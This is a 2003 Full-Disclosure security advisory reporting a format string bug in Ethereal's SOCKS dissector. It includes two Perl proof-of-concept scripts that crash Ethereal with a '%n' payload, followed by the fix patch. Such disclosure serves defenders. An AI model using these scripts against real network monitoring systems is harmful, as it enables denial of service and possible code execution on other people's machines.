[Full-Disclosure] Ethereal format string bug, yet still ethereal much better than windows

From: Georgi Guninski (guninski@guninski.com)
Date: 03/08/03

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    From: Georgi Guninski <guninski@guninski.com>
    To: full-disclosure@lists.netsys.com
    Date: Sat, 08 Mar 2003 15:57:45 +0200

    Georgi Guninski security advisory #60, 2003

    Ethereal format string bug, yet still ethereal much better than windows

    Systems affected:
    Ethereal < 0.9.10
    Fixed in 0.9.10

    Risk: Medium
    Date: 8 March 2003

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    Ethereal is a sniffer. According to www.ethereal.com its purpose is:
    "Sniffing the glue that holds the Internet together"
    There is format string bug in it which is confirmed to be a DoS and
    probably can lead to execution of code (the difficulty comes from the fact
    that some characters are escaped)

    The problem seems to be in: "packet-socks.c" line 910 of 1180
         proto_tree_add_text( tree, tvb, offset, linelen,
                                                      format_text(data, linelen));
    The format mask is missing.
    How to reproduce on localhost:

    start raw3sv.pl (dummy socks server, attached)
    start ethereal on loopback, update packets in real time.
    start sockcl.pl (attached, does socks ping, without argument connects to
    wait about 5 seconds.
    go to ethereal and select the line "Sock5.....Ping Req Results"
    result: SEGV.

    # Written by Georgi Guninski
    use IO::Socket;
    use str1ct;
    #local port
    my $port = 1080;

    #redirect to

    my $msg="\x05\x00";
    my $repl="\x05\x00\x00\x00\x02aa";

    my $pi="m\$sux\%x\%x\%x\%n";

    my $server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM,
    Reuse => 1, Listen => 2)
    or die "Couldn't create tcp-server.\n";

    print "Dummy socks server for ethereal\nListening on localhost:${port}\n";

    my $client;
    while ($client = $server->accept()) {
      print "Client connected.\n";
      print "Sending...";
    # while(<$client>) {print $_;}
      print $client "$msg";
      print "OK\n";
      print $client "$repl";
      print $client "$pi";

    #!/usr/bin/perl -w
    # Written by Georgi Guninski
    use IO::Socket;
    use str1ct;
    my $host= $ARGV[0] || "localhost";
    my $port=1080;

    print "host=${host}\n";

    my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto =>
    "TCP") || die("Unable to connect");

    print "Start\n";

    my $logcmd="\x05\x00\x00";
    my $pingcmd="\x05\x80\x00\x01\x01\x01\x01\x01\x01\x01";

    print $socket $logcmd;
    my $x;
    print $socket $pingcmd;

    print "Done\n";

    Upgrade to 0.9.10 or apply the following patch:
    --- packet-socks.c.orig 2002-08-29 03:40:03.000000000 +0300
    +++ packet-socks.c 2003-02-25 15:52:14.000000000 +0200
    @@ -908,7 +908,7 @@
                                       linelen = lineend - data;

                                              proto_tree_add_text( tree, tvb, offset, linelen,
    - format_text(data, linelen));
    + "%s",format_text(data, linelen));
                                              offset += linelen;
                                              data = lineend;

    Vendor status:
    Notified on Tue, 25 Feb 2003

    btw, happy 8 March to the women.

    Georgi Guninski

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